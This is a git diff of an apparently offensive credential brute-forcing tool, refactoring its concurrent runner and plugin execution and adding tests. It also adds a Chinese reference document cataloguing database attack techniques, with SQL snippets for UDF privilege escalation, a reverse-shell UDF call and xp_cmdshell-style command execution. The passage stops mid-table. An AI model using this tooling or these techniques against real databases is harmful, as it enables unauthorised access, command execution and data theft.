-273,9 +362,9 @@ func (r *Runner) RunWithSniper(ctx context.Context, targets chan *Target) { Param: target.Param, Mod: parsers.ZombieModSniper, }, - Context: targetCtx, - Canceler: cancel, - Timeout: r.Timeout, + Context: targetCtx, + Cancel: cancel, + Timeout: r.Timeout, }) } r.wg.Wait() @@ -318,9 +407,9 @@ func (r *Runner) RunWithPitchfork(ctx context.Context, target chan *Target) { Param: target.Param, Mod: parsers.ZombieModPitchfork, }, - Context: targetCtx, - Canceler: cancel, - Timeout: r.Timeout, + Context: targetCtx, + Cancel: cancel, + Timeout: r.Timeout, }) } } @@ -355,8 +444,7 @@ func (r *Runner) RunWithClusterBomb(ctx context.Context, targets chan *Target) { } if !r.NoCheckHoneyPot { - locker := &sync.Mutex{} - locker.Lock() + completed := make(chan struct{}) r.add(&pkg.Task{ ZombieResult: &parsers.ZombieResult{ IP: cur.IP, @@ -368,28 +456,16 @@ func (r *Runner) RunWithClusterBomb(ctx context.Context, targets chan *Target) { Password: randomString(10), Mod: parsers.ZombieModCheck, }, - Context: targetCtx, - Canceler: cancel, - Timeout: r.Timeout, - Locker: locker, + Context: targetCtx, + Cancel: cancel, + Timeout: r.Timeout, + Completed: completed, }) - locker.Lock() - locker.Unlock() + <-completed } - ch := r.clusterBombGenerate(targetCtx, cancel, cur) - loop: - for { - select { - case task, ok := <-ch: - if ok { - r.add(task) - } else { - break loop - } - case <-targetCtx.Done(): - break loop - } + for task := range r.clusterBombGenerate(targetCtx, cancel, cur) { + r.add(task) } }() } @@ -419,10 +495,11 @@ func (r *Runner) clusterBombGenerate(ctx context.Context, canceler context.Cance go func() { defer close(ch) + genLoop: for _, user := range users { select { case <-ctx.Done(): - return + break genLoop default: } wg.Add(1) @@ -430,9 +507,9 @@ func (r *Runner) clusterBombGenerate(ctx context.Context, canceler context.Cance go func() { defer wg.Done() if !r.NoUnAuth { - userLocker := &sync.Mutex{} - userLocker.Lock() - ch <- &pkg.Task{ + userCompleted := make(chan struct{}) + select { + case ch <- &pkg.Task{ ZombieResult: &parsers.ZombieResult{ IP: target.IP, Port: target.Port, @@ -442,13 +519,15 @@ func (r *Runner) clusterBombGenerate(ctx context.Context, canceler context.Cance Param: target.Param, Mod: parsers.ZombieModUnauth, }, - Timeout: r.Timeout, - Context: ctx, - Canceler: canceler, - Locker: userLocker, + Timeout: r.Timeout, + Context: ctx, + Cancel: canceler, + Completed: userCompleted, + }: + case <-ctx.Done(): + return } - userLocker.Lock() - userLocker.Unlock() + <-userCompleted } for _, pwd := range pwds { @@ -468,9 +547,9 @@ func (r *Runner) clusterBombGenerate(ctx context.Context, canceler context.Cance Param: target.Param, Mod: parsers.ZombieModBrute, }, - Timeout: r.Timeout, - Context: ctx, - Canceler: canceler, + Timeout: r.Timeout, + Context: ctx, + Cancel: canceler, }: case <-ctx.Done(): return @@ -486,15 +565,19 @@ func (r *Runner) clusterBombGenerate(ctx context.Context, canceler context.Cance return ch } -func (r *Runner) targetGenerate() chan *Target { +func (r *Runner) targetGenerate(ctx context.Context) chan *Target { ch := make(chan *Target) go func() { + defer close(ch) for _, target := range r.Targets { if r.Services == nil || (r.Services != nil && iutils.StringsContains(r.Services, target.Service)) { - ch <- target + select { + case ch <- target: + case <-ctx.Done(): + return + } } } - close(ch) }() return ch @@ -502,42 +585,15 @@ func (r *Runner) targetGenerate() chan *Target { func (r *Runner) add(task *pkg.Task) { task.ProxyDial = r.ProxyDial - r.stat.Cur = task.String() - r.addlock.Lock() - r.stat.Tasks[task.Service]++ + task.Raw = r.Raw r.wg.Add(1) - r.stat.Total++ - r.addlock.Unlock() + r.stat.RecordTask(task.Service, task.String()) _ = r.Pool.Invoke(task) } func (r *Runner) Output(res *pkg.Result) { - if r.OutFunc != nil { - r.outlock.Add(1) - } - if res.OK { - r.stat.Success++ - } - r.OutputCh <- res -} - -func (r *Runner) OutputHandler() { -loop: - for { - select { - case result, ok := <-r.OutputCh: - if !ok { - break loop - } - if result.OK { - if r.File != nil { - r.OutFunc(result.Format(r.FileFormat)) - } - logs.Log.Console(result.Format(r.OutputFormat)) - } else { - logs.Log.Debugf("[%s] %s %s %s ,%s login failed, %s", result.Mod.String(), result.URI(), result.Username, result.Password, result.Service, result.Err.Error()) - } - r.outlock.Done() - } + r.stat.RecordResult(res) + if r.OnResult != nil { + r.OnResult(res) } } diff --git a/core/runner_clusterbomb_test.go b/core/runner_clusterbomb_test.go new file mode 100644 index 0000000..b574673 --- /dev/null +++ b/core/runner_clusterbomb_test.go @@ -0,0 +1,42 @@ +package core + +import ( + "context" + "errors" + "fmt" + "testing" + + "github.com/chainreactors/zombie/pkg" + "github.com/chainreactors/zombie/plugin" +) + +type clusterBombSession struct{} + +func (clusterBombSession) Service() string { return "faketest" } +func (clusterBombSession) Close() error { return nil } + +type clusterBombPlugin struct{} + +func (clusterBombPlugin) Open(*pkg.Task) (pkg.Session, error) { return nil, errors.New("auth failed") } +func (clusterBombPlugin) Unauth(*pkg.Task) (pkg.Session, error) { + return clusterBombSession{}, nil +} + +func TestClusterBombStopsSendersBeforeClosingTaskChannel(t *testing.T) { + r := NewRunner(NewDefaultRunnerOption()) + r.Plugins = map[string]plugin.Plugin{"faketest": clusterBombPlugin{}} + r.Quiet = true + + r.OnResult = func(*pkg.Result) {} + + const nUsers = 400 + users := make([]string, nUsers) + for i := range users { + users[i] = fmt.Sprintf("u%d", i) + } + r.SetUsers(users) + r.SetPasswords([]string{"x"}) + r.SetTargets([]*Target{{IP: "127.0.0.1", Port: "1", Service: "faketest"}}) + + _ = r.RunWithContext(context.Background()) +} diff --git a/core/runner_lifecycle_test.go b/core/runner_lifecycle_test.go new file mode 100644 index 0000000..595d97d --- /dev/null +++ b/core/runner_lifecycle_test.go @@ -0,0 +1,142 @@ +package core + +import ( + "context" + "errors" + "sync" + "testing" + "time" + + "github.com/chainreactors/utils/parsers" + "github.com/chainreactors/zombie/pkg" + "github.com/chainreactors/zombie/plugin" +) + +type contextProbePlugin struct { + canceled chan struct{} + release chan struct{} +} + +type failedAttemptPlugin struct{} + +func (failedAttemptPlugin) Open(*pkg.Task) (pkg.Session, error) { + return nil, errors.New("authentication failed") +} + +func (failedAttemptPlugin) Unauth(*pkg.Task) (pkg.Session, error) { + return nil, errors.New("unauthentication failed") +} + +func TestRunnerEmitsEveryAttemptAndCompletesTask(t *testing.T) { + opt := NewDefaultRunnerOption() + opt.Mod = ModBomb + opt.Threads = 2 + opt.Timeout = 1 + opt.Quiet = true + opt.NoCheckHoneyPot = true + opt.FirstOnly = false + + runner := NewRunner(opt) + runner.Plugins = map[string]plugin.Plugin{"failed-attempt": failedAttemptPlugin{}} + runner.SetUsers([]string{"root"}) + runner.SetPasswords([]string{"wrong"}) + runner.SetTargets([]*Target{{IP: "127.0.0.1", Port: "1", Service: "failed-attempt"}}) + + var mu sync.Mutex + var results []*pkg.Result + var unauthCompleted chan struct{} + completedDuringHandler := false + runner.OnResult = func(result *pkg.Result) { + mu.Lock() + defer mu.Unlock() + results = append(results, result) + if result.Mod == parsers.ZombieModUnauth { + unauthCompleted = result.Completed + select { + case <-result.Completed: + completedDuringHandler = true + default: + } + } + } + + if err := runner.RunWithContext(context.Background()); err != nil { + t.Fatal(err) + } + if len(results) != 2 { + t.Fatalf("results = %d, want unauth + brute attempts", len(results)) + } + for _, result := range results { + if result.OK || result.Err == nil || result.ErrString == "" { + t.Fatalf("incomplete failed result: %#v", result) + } + } + if completedDuringHandler { + t.Fatal("task completed before its result handler returned") + } + select { + case <-unauthCompleted: + default: + t.Fatal("task completion was not signaled after execution") + } +} + +func (p *contextProbePlugin) Open(task *pkg.Task) (pkg.Session, error) { + select { + case <-task.Context.Done(): + close(p.canceled) + return nil, task.Context.Err() + case <-p.release: + return nil, errors.New("released") + } +} + +func (*contextProbePlugin) Unauth(*pkg.Task) (pkg.Session, error) { + return nil, pkg.NotImplUnauthorized +} + +func TestRunnerTaskTimeoutReachesPlugin(t *testing.T) { + probe := &contextProbePlugin{ + canceled: make(chan struct{}), + release: make(chan struct{}), + } + t.Cleanup(func() { close(probe.release) }) + + opt := NewDefaultRunnerOption() + opt.Mod = ModSniper + opt.Threads = 1 + opt.Timeout = 1 + opt.Quiet = true + r := NewRunner(opt) + r.Plugins = map[string]plugin.Plugin{"context-probe": probe} + r.SetTargets([]*Target{{IP: "127.0.0.1", Port: "1", Service: "context-probe"}}) + + started := time.Now() + if err := r.RunWithContext(context.Background()); err != nil { + t.Fatalf("RunWithContext: %v", err) + } + if elapsed := time.Since(started); elapsed > 1500*time.Millisecond { + t.Fatalf("task timeout took %s, want close to configured 1s", elapsed) + } + + select { + case <-probe.canceled: + case <-time.After(250 * time.Millisecond): + t.Fatal("plugin did not observe task context cancellation") + } +} + +func TestRunnerDoesNotEmitResultsOnValidationError(t *testing.T) { + opt := NewDefaultRunnerOption() + opt.Threads = 0 + r := NewRunner(opt) + called := false + r.OnResult = func(*pkg.Result) { called = true } + + if err := r.RunWithContext(context.Background()); err == nil { + t.Fatal("expected invalid thread count to fail") + } + if called { + t.Fatal("result handler called before execution") + } +} diff --git a/core/runner_option.go b/core/runner_option.go index 9c45ceb..467893e 100644 --- a/core/runner_option.go +++ b/core/runner_option.go @@ -15,6 +15,16 @@ type RunnerOption struct { Raw bool Quiet bool + // Post-auth actions + Proton bool + ScanTemplates []string + ServiceTemplates []string + ServiceVars map[string]interface{} + ServicePayloads map[string]interface{} + Gather bool + Risk string + Tags []string + // ProxyDial 非 nil 时透传到每个 Task,使插件通过代理建立连接。 ProxyDial pkg.DialFunc } diff --git a/core/target.go b/core/target.go index e8ca7f0..81cfc0e 100644 --- a/core/target.go +++ b/core/target.go @@ -42,10 +42,14 @@ func (t *Target) URL() string { } func (t *Target) UpdateService(s string) { - t.Service = strings.ToLower(s) - if t.Port == "" { - t.Port = pkg.Services.DefaultPort(t.Service) + if svc, ok := pkg.Services.Get(s); ok { + t.Service = svc.Name + if t.Port == "" { + t.Port = svc.DefaultPort + } + return } + t.Service = strings.ToLower(strings.TrimSpace(s)) } func (t *Target) Addr() *utils.Addr { diff --git a/core/utils.go b/core/utils.go index 84b6efa..9a6c171 100644 --- a/core/utils.go +++ b/core/utils.go @@ -1,10 +1,9 @@ package core import ( - "github.com/chainreactors/parsers" + "github.com/chainreactors/utils/parsers" "github.com/chainreactors/utils" "github.com/chainreactors/zombie/pkg" - "io/ioutil" "math/rand" "net" "net/url" @@ -30,23 +29,6 @@ func LoadGogoFile(filename string) ([]*Target, error) { return targets, nil } -func loadFileToSlice(filename string) ([]string, error) { - var ss []string - content, err := ioutil.ReadFile(filename) - if err != nil { - return nil, err - } - - ss = strings.Split(strings.TrimSpace(string(content)), "\n") - - // 统一windows与linux的回车换行差异 - for i, word := range ss { - ss[i] = strings.TrimSpace(word) - } - - return ss, nil -} - func parseAuthPair(auth string) (string, string) { pair := strings.Split(auth, "::") switch len(pair) { @@ -102,10 +84,7 @@ func ParseUrl(u string) (*Target, bool) { } if parsed.Scheme != "" { - t.Service = parsed.Scheme - if t.Port == "" { - t.Port = pkg.Services.DefaultPort(t.Service) - } + t.UpdateService(parsed.Scheme) t.Scheme = parsed.Scheme } else if t.Port != "" { t.Service = pkg.GetDefault(t.Port) diff --git a/core/utils_test.go b/core/utils_test.go index 06f6ad1..7801446 100644 --- a/core/utils_test.go +++ b/core/utils_test.go @@ -47,6 +47,17 @@ func TestParseUrl(t *testing.T) { Scheme: "redis", }, }, + { + name: "service alias url with default port", + input: "mongodb://127.0.0.1", + ok: true, + want: &Target{ + IP: "127.0.0.1", + Port: "27017", + Service: "mongo", + Scheme: "mongodb", + }, + }, { name: "plain ip", input: "127.0.0.1", diff --git a/core/worker.go b/core/worker.go index de9c31a..b96c6e9 100644 --- a/core/worker.go +++ b/core/worker.go @@ -2,30 +2,91 @@ package core import ( "errors" + + "github.com/chainreactors/logs" + "github.com/chainreactors/zombie/action" "github.com/chainreactors/zombie/pkg" "github.com/chainreactors/zombie/plugin" ) var ErrNoUnauth = errors.New("cannot unauth login") +var ErrNoPlugin = errors.New("no plugin for service") + +func Execute(task *pkg.Task, plugins map[string]plugin.Plugin, fallback plugin.Plugin, pipeline []pkg.Action, postAction *action.PostAction) *pkg.Result { + p := resolvePlugin(task.Service, plugins, fallback) + if p == nil { + return pkg.NewResult(task, ErrNoPlugin) + } -func Unauth(task *pkg.Task) *pkg.Result { - conn := plugin.Dispatch(task) - ok, err := conn.Unauth() + session, err := p.Open(task) if err != nil { return pkg.NewResult(task, err) } - if !ok { - return pkg.NewResult(task, ErrNoUnauth) + if session == nil { + return pkg.NewResult(task, errors.New("plugin returned nil session")) } - return conn.GetResult() + defer session.Close() + + result := pkg.NewResult(task, nil) + for _, a := range pipeline { + ar, err := a.Run(session, task) + if err != nil { + logs.Log.Debugf("[%s] action %s failed on %s: %v", task.Service, a.Name(), task.URI(), err) + continue + } + result.Merge(ar) + } + if postAction != nil { + for label, data := range result.Loot { + result.Extracteds = append(result.Extracteds, postAction.ScanData(data, label)...) + } + } + return result } -func Brute(task *pkg.Task) *pkg.Result { - conn := plugin.Dispatch(task) - err := conn.Login() +func ExecuteUnauth(task *pkg.Task, plugins map[string]plugin.Plugin, fallback plugin.Plugin, pipeline []pkg.Action, postAction *action.PostAction) *pkg.Result { + p := resolvePlugin(task.Service, plugins, fallback) + if p == nil { + return pkg.NewResult(task, ErrNoPlugin) + } + + unauth, ok := p.(plugin.UnauthPlugin) + if !ok { + return pkg.NewResult(task, pkg.NotImplUnauthorized) + } + session, err := unauth.Unauth(task) if err != nil { return pkg.NewResult(task, err) } - defer conn.Close() - return conn.GetResult() + if session == nil { + return pkg.NewResult(task, ErrNoUnauth) + } + defer session.Close() + + result := pkg.NewResult(task, nil) + for _, a := range pipeline { + ar, err := a.Run(session, task) + if err != nil { + logs.Log.Debugf("[%s] action %s failed on %s: %v", task.Service, a.Name(), task.URI(), err) + } + result.Merge(ar) + } + if postAction != nil { + for label, data := range result.Loot { + result.Extracteds = append(result.Extracteds, postAction.ScanData(data, label)...) + } + } + return result +} + +func resolvePlugin(service string, plugins map[string]plugin.Plugin, fallback plugin.Plugin) plugin.Plugin { + if p, ok := plugins[service]; ok { + return p + } + if s, ok := pkg.Services.Get(service); ok { + if p, ok := plugins[s.Name]; ok { + return p + } + } + return fallback } diff --git a/core/worker_test.go b/core/worker_test.go new file mode 100644 index 0000000..6b5083f --- /dev/null +++ b/core/worker_test.go @@ -0,0 +1,45 @@ +package core + +import ( + "errors" + "testing" + + "github.com/chainreactors/utils/parsers" + "github.com/chainreactors/zombie/pkg" + "github.com/chainreactors/zombie/plugin" +) + +type aliasPluginSession struct{} + +func (aliasPluginSession) Service() string { return "mongo" } +func (aliasPluginSession) Close() error { return nil } + +type aliasPlugin struct{} + +func (aliasPlugin) Open(*pkg.Task) (pkg.Session, error) { return aliasPluginSession{}, nil } +func (aliasPlugin) Unauth(*pkg.Task) (pkg.Session, error) { return aliasPluginSession{}, nil } + +func TestResolvePluginAcceptsServiceAliases(t *testing.T) { + plugins := map[string]plugin.Plugin{"mongo": aliasPlugin{}} + + if p := resolvePlugin("mongodb", plugins, nil); p == nil { + t.Fatalf("resolvePlugin(mongodb) = %#v, want mongo plugin", p) + } +} + +type openOnlyPlugin struct{} + +func (openOnlyPlugin) Open(*pkg.Task) (pkg.Session, error) { + return nil, errors.New("not used") +} + +func TestExecuteUnauthRejectsOpenOnlyPlugin(t *testing.T) { + task := &pkg.Task{ZombieResult: &parsers.ZombieResult{Service: "open-only"}} + result := ExecuteUnauth(task, map[string]plugin.Plugin{"open-only": openOnlyPlugin{}}, nil, nil, nil) + if !errors.Is(result.Err, pkg.NotImplUnauthorized) { + t.Fatalf("error = %v, want NotImplUnauthorized", result.Err) + } + if result.OK || result.ErrString == "" { + t.Fatalf("public result did not preserve unauth failure: %#v", result.ZombieResult) + } +} diff --git a/docs/database_attack_techniques.md b/docs/database_attack_techniques.md new file mode 100644 index 0000000..5d2c1f9 --- /dev/null +++ b/docs/database_attack_techniques.md @@ -0,0 +1,1603 @@ +# 数据库攻击手法综合参考文档 + +> 本文档基于对15+款主流数据库攻击工具的深度调研,系统整理了所有已武器化的数据库攻击手法。 +> +> 调研工具:MDUT、MDUT-Extend、ODAT、MSDAT、PowerUpSQL、SQLRecon、NoSQLMap、RedisEXP、Databasetools、sqlmap、SharpSQLTools、enumdb、Sylas +> +> 覆盖数据库:MySQL、Microsoft SQL Server、Oracle、PostgreSQL、Redis、MongoDB、CouchDB、Cassandra +> +> 文档生成时间:2025年7月 + +--- + +## 摘要 + +| 数据库类型 | 已武器化攻击手法数量 | +|-----------|-------------------| +| MySQL | 8 | +| Microsoft SQL Server | 48+ | +| Oracle | 37+ | +| PostgreSQL | 6 | +| Redis | 16 | +| MongoDB | 7 | +| CouchDB | 4 | +| Cassandra | 0(计划中) | +| 多数据库/通用 | 20+ | + +**总计:140+ 种已武器化攻击手法** + +--- + +## 一、MySQL 攻击手法 + +> 涉及工具:MDUT、MDUT-Extend、sqlmap、enumdb + +### 1.1 UDF (User-Defined Function) 提权 + +| 属性 | 描述 | +|------|------| +| **描述** | 通过向MySQL插件目录写入自定义UDF库文件,创建`sys_eval`函数来执行系统命令。支持Windows 32/64位和Linux 32/64位平台,根据目标系统自动选择对应的UDF库文件。 | +| **目标数据库** | MySQL (全版本) | +| **目标平台** | Windows 32/64、Linux 32/64 | +| **涉及工具** | MDUT | +| **武器化状态** | **已实现** | +| **相关SQL** | `SELECT [hex] INTO DUMPFILE '[plugin_path]'; CREATE FUNCTION sys_eval RETURNS STRING SONAME '[udf_file]';` | +| **出处** | https://github.com/SafeGroceryStore/MDUT/blob/main/MDAT-DEV/src/main/java/Dao/MysqlDao.java | + +### 1.2 Windows 反弹 Shell (backShell) + +| 属性 | 描述 | +|------|------| +| **描述** | 通过加载专门的反弹Shell UDF插件(`udf_win_ex_hex.txt`),创建`backshell`函数,实现从目标MySQL服务器向攻击者指定IP和端口反弹Windows Shell。 | +| **目标数据库** | MySQL | +| **目标平台** | Windows(仅Windows平台支持) | +| **涉及工具** | MDUT | +| **武器化状态** | **已实现** | +| **相关SQL** | `SELECT backshell('%s','%s') AS s;` | +| **出处** | https://github.com/SafeGroceryStore/MDUT/blob/main/MDAT-DEV/src/main/java/Dao/MysqlDao.java | + +### 1.3 NTFS 提权 (ADS Alternate Data Streams) + +| 属性 | 描述 | +|------|------| +| **描述** | 利用NTFS文件系统的备用数据流(Alternate Data Streams)特性创建目录,绕过某些安全限制。通过向`::$INDEX_ALLOCATION`流写入数据来创建特殊目录。 | +| **目标数据库** | MySQL | +| **目标平台** | Windows(依赖NTFS文件系统) | +| **涉及工具** | MDUT | +| **武器化状态** | **已实现** | +| **相关SQL** | `SELECT '1' INTO DUMPFILE '%s::$INDEX_ALLOCATION'` | +| **出处** | https://github.com/SafeGroceryStore/MDUT/blob/main/MDAT-DEV/src/main/java/Dao/MysqlDao.java | + +### 1.4 系统命令执行 (UDF Eval) + +| 属性 | 描述 | +|------|------| +| **描述** | 通过已创建的UDF函数`sys_eval`执行任意系统命令,支持UTF-8、GB2312、GBK编码选择。sqlmap通过注入自定义UDF `sys_exec()`/`sys_eval()` 执行命令。 | +| **目标数据库** | MySQL | +| **涉及工具** | MDUT、sqlmap | +| **武器化状态** | **已实现** | +| **出处(MDUT)** | https://github.com/SafeGroceryStore/MDUT/blob/main/MDAT-DEV/src/main/java/Dao/MysqlDao.java | +| **出处(sqlmap)** | https://github.com/sqlmapproject/sqlmap/wiki/Features | + +### 1.5 HTTP 隧道连接 + +| 属性 | 描述 | +|------|------| +| **描述** | 支持通过HTTP隧道连接MySQL数据库,用于绕过网络限制。将所有数据库操作封装为HTTP请求,通过中间HTTP隧道代理与目标数据库通信。 | +| **目标数据库** | MySQL、MSSQL、Oracle、PostgreSQL(Redis不支持) | +| **涉及工具** | MDUT | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/SafeGroceryStore/MDUT/blob/main/MDAT-DEV/src/main/java/Dao/MysqlHttpDao.java | + +### 1.6 SQL注入检测与利用 (sqlmap) + +| 属性 | 描述 | +|------|------| +| **描述** | sqlmap支持对MySQL的完整SQL注入检测与利用,包括布尔盲注、时间盲注、报错注入、UNION注入、堆叠查询等5种核心注入技术;支持数据库指纹识别、用户/密码哈希/权限/角色枚举、全库数据Dump、文件读写、OS命令执行等。 | +| **目标数据库** | MySQL (全版本) | +| **涉及工具** | sqlmap | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/sqlmapproject/sqlmap/wiki/Features | + +### 1.7 凭据暴力破解与数据枚举 (enumdb) + +| 属性 | 描述 | +|------|------| +| **描述** | 对MySQL进行凭据暴力破解(支持CIDR范围)、数据库/表/列枚举、关键词敏感数据搜索、数据Dump提取为CSV/XLSX、交互式SQL Shell。 | +| **目标数据库** | MySQL | +| **涉及工具** | enumdb | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/m8sec/enumdb/blob/master/README.md | + +### 1.8 MySQL驱动高低版本切换 + +| 属性 | 描述 | +|------|------| +| **描述** | 新增MySQL驱动高低版本切换选项,以兼容不同版本的MySQL数据库。 | +| **目标数据库** | MySQL | +| **涉及工具** | MDUT-Extend | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/DeEpinGh0st/MDUT-Extend-Release/releases/tag/v1.0.0 | + +--- + +## 二、Microsoft SQL Server 攻击手法 + +> 涉及工具:MDUT、MDUT-Extend、MSDAT、PowerUpSQL、SQLRecon、SharpSQLTools、enumdb、Sylas、sqlmap + +### 2.1 发现与枚举类 + +#### 2.1.1 无认证信息获取 + +| 属性 | 描述 | +|------|------| +| **描述** | 利用TDS协议和SQL Browser Service,在无需认证的情况下获取远程MSSQL服务器的技术信息,包括数据库版本、实例名等。SQLRecon通过UDP 1434端口查询。 | +| **涉及工具** | MSDAT、SQLRecon | +| **武器化状态** | **已实现** | +| **出处(MSDAT)** | https://github.com/quentinhardy/msdat/blob/master/README.md | +| **出处(SQLRecon)** | https://github.com/skahwah/SQLRecon/blob/main/README.md | + +#### 2.1.2 本地SQL Server实例发现 + +| 属性 | 描述 | +|------|------| +| **描述** | 通过注册表搜索发现本地系统上运行的SQL Server实例。 | +| **涉及工具** | PowerUpSQL | +| **武器化状态** | **已实现** | +| **对应函数** | `Get-SQLInstanceLocal` | +| **出处** | https://github.com/NetSPI/PowerUpSQL/wiki/Discovery-Functions | + +#### 2.1.3 域内SQL Server发现 (SPN枚举) + +| 属性 | 描述 | +|------|------| +| **描述** | 通过向域控制器查询注册MSSQL服务主体名称(SPN)来发现域内所有SQL Server实例。支持多线程UDP扫描。 | +| **涉及工具** | PowerUpSQL、SQLRecon | +| **武器化状态** | **已实现** | +| **对应函数/模块** | PowerUpSQL: `Get-SQLInstanceDomain`; SQLRecon: `SqlSpns` | +| **出处(PowerUpSQL)** | https://github.com/NetSPI/PowerUpSQL/wiki/Discovery-Functions | +| **出处(SQLRecon)** | https://github.com/skahwah/SQLRecon/blob/main/README.md | + +#### 2.1.4 UDP广播/端口扫描发现 + +| 属性 | 描述 | +|------|------| +| **描述** | 通过向子网广播地址发送UDP请求或UDP端口扫描来发现本地网络上的SQL Server实例,支持多线程。 | +| **涉及工具** | PowerUpSQL | +| **武器化状态** | **已实现** | +| **对应函数** | `Get-SQLInstanceBroadcast`、`Get-SQLInstanceScanUDPThreaded` | +| **出处** | https://github.com/NetSPI/PowerUpSQL/wiki/Discovery-Functions | + +#### 2.1.5 数据库配置与权限枚举 + +| 属性 | 描述 | +|------|------| +| **描述** | 获取数据库版本、数据库列表、用户列表、禁用的用户、存储过程、当前用户角色和权限等配置信息。 | +| **涉及工具** | MSDAT、PowerUpSQL、SQLRecon | +| **武器化状态** | **已实现** | +| **对应模块** | MSDAT: `search`; PowerUpSQL: `Get-SQLServerInfo`、`Invoke-SQLAudit`; SQLRecon: `Whoami`、`Databases`、`Users` | +| **出处** | https://github.com/quentinhardy/msdat、https://github.com/NetSPI/PowerUpSQL、https://github.com/skahwah/SQLRecon | + +#### 2.1.6 敏感数据搜索 + +| 属性 | 描述 | +|------|------| +| **描述** | 在数据库表的列名中搜索敏感数据模式(如password、credential、信用卡号、SSN等),支持显示空列和获取样本数据。 | +| **涉及工具** | MSDAT、PowerUpSQL、SQLRecon、enumdb | +| **武器化状态** | **已实现** | +| **出处** | 多工具支持 | + +#### 2.1.7 文件/目录枚举 + +| 属性 | 描述 | +|------|------| +| **描述** | 利用`xp_subdirs`和`xp_dirtree`存储过程列出指定目录的文件和子目录;利用`xp_fixeddrives`和`xp_availablemedia`枚举磁盘驱动器。 | +| **涉及工具** | MSDAT | +| **武器化状态** | **已实现** | +| **对应模块** | `xpdirectory` | +| **出处** | https://github.com/quentinhardy/msdat/blob/master/README.md | + +#### 2.1.8 Schema/表数据转储 + +| 属性 | 描述 | +|------|------| +| **描述** | 提取数据库的完整Schema信息和所有表数据并保存到文件(CSV/XLSX格式),排除默认数据库。 | +| **涉及工具** | MSDAT、enumdb | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/quentinhardy/msdat、https://github.com/m8sec/enumdb | + +#### 2.1.9 链接服务器枚举 + +| 属性 | 描述 | +|------|------| +| **描述** | 枚举SQL Server上配置的链接服务器(Linked Server)。 | +| **涉及工具** | PowerUpSQL、SQLRecon | +| **武器化状态** | **已实现** | +| **对应函数/模块** | PowerUpSQL: `Get-SQLServerLink`; SQLRecon: `Links`、`CheckRpc` | +| **出处** | https://github.com/NetSPI/PowerUpSQL、https://github.com/skahwah/SQLRecon | + +### 2.2 命令执行类 + +#### 2.2.1 xp_cmdshell 命令执行 + +| 属性 | 描述 | +|------|------| +| **描述** | 通过xp_cmdshell存储过程在数据库服务器上执行操作系统命令。支持自动启用/禁用xp_cmdshell,支持交互式Shell模式。sqlmap、SharpSQLTools、SQLRecon、Sylas等工具均实现此功能。 | +| **涉及工具** | MDUT、MSDAT、PowerUpSQL、SQLRecon、SharpSQLTools、Sylas、sqlmap | +| **武器化状态** | **已实现** | +| **出处汇总** | MDUT: https://github.com/SafeGroceryStore/MDUT; MSDAT: https://github.com/quentinhardy/msdat; PowerUpSQL: https://github.com/NetSPI/PowerUpSQL; SQLRecon: https://github.com/skahwah/SQLRecon; SharpSQLTools: https://github.com/uknowsec/SharpSQLTools; Sylas: https://github.com/Ryze-T/Sylas; sqlmap: https://github.com/sqlmapproject/sqlmap | + +#### 2.2.2 sp_oacreate / OLE Automation 命令执行 + +| 属性 | 描述 | +|------|------| +| **描述** | 利用`sp_oacreate`创建WScript.Shell COM组件,通过OLE Automation执行系统命令。相比xp_cmdshell更为隐蔽。支持PowerShell反向Shell和文件上传下载。 | +| **涉及工具** | MDUT、MSDAT、PowerUpSQL、SQLRecon、SharpSQLTools、Sylas | +| **武器化状态** | **已实现** | +| **出处汇总** | MDUT: https://github.com/SafeGroceryStore/MDUT; MSDAT: https://github.com/quentinhardy/msdat; PowerUpSQL: https://github.com/NetSPI/PowerUpSQL; SQLRecon: https://github.com/skahwah/SQLRecon; SharpSQLTools: https://github.com/uknowsec/SharpSQLTools; Sylas: https://github.com/Ryze-T/Sylas | + +#### 2.2.3 CLR (Common Language Runtime) 程序集执行 + +| 属性 | 描述 | +|------|------| +| **描述** | 通过MSSQL的CLR集成功能,加载.NET程序集实现代码执行和提权。支持一键激活/恢复CLR组件,可从网络路径加载DLL。SharpSQLTools的CLR模块提供最丰富的功能(文件管理、进程查看、Potato提权、LSASS转储、RDP启用、Shellcode加载等)。 | +| **涉及工具** | MDUT、PowerUpSQL、SQLRecon、SharpSQLTools、Sylas | +| **武器化状态** | **已实现** | +| **出处汇总** | MDUT: https://github.com/SafeGroceryStore/MDUT; PowerUpSQL: https://github.com/NetSPI/PowerUpSQL/wiki/Attacking-SQL-Server-CLR; SQLRecon: https://github.com/skahwah/SQLRecon; SharpSQLTools: https://github.com/uknowsec/SharpSQLTools; Sylas: https://github.com/Ryze-T/Sylas | + +#### 2.2.4 SQL Agent Job 命令执行 + +| 属性 | 描述 | +|------|------| +| **描述** | 利用SQL Server Agent Jobs执行系统命令,支持CMDExec、PowerShell、ActiveX:JScript和ActiveX:VBScript子系统。支持反向Shell功能,可列出和查看Agent Jobs代码。 | +| **涉及工具** | MSDAT、PowerUpSQL、SQLRecon | +| **武器化状态** | **已实现** | +| **出处汇总** | MSDAT: https://github.com/quentinhardy/msdat; PowerUpSQL: https://github.com/NetSPI/PowerUpSQL; SQLRecon: https://github.com/skahwah/SQLRecon | + +#### 2.2.5 R/Python 外部脚本命令执行 + +| 属性 | 描述 | +|------|------| +| **描述** | 通过SQL Server 2016+的外部脚本功能使用R语言或Python执行OS命令。不需要从磁盘读取DLL。 | +| **涉及工具** | PowerUpSQL | +| **武器化状态** | **已实现** | +| **对应函数** | `Invoke-SQLOSCmdR`、`Invoke-SQLOSCmdPython` | +| **目标版本** | MSSQL 2016+ | +| **出处** | https://github.com/NetSPI/PowerUpSQL/wiki/Primary-Attack-Functions | + +#### 2.2.6 MSSQL Shellcode 加载 + +| 属性 | 描述 | +|------|------| +| **描述** | 通过MSSQL加载和执行Shellcode的功能,可直接加载自定义Shellcode到内存执行。SharpSQLTools使用QueueUserAPC注入技术远程加载x64 Shellcode。 | +| **涉及工具** | MDUT-Extend、SharpSQLTools | +| **武器化状态** | **已实现** | +| **出处** | MDUT-Extend: https://github.com/DeEpinGh0st/MDUT-Extend-Release/releases/tag/v1.3.0; SharpSQLTools: https://github.com/uknowsec/SharpSQLTools | + +#### 2.2.7 自定义扩展存储过程 + +| 属性 | 描述 | +|------|------| +| **描述** | 创建自定义DLL扩展存储过程来执行OS命令。生成DLL文件并注册为XP。 | +| **涉及工具** | PowerUpSQL | +| 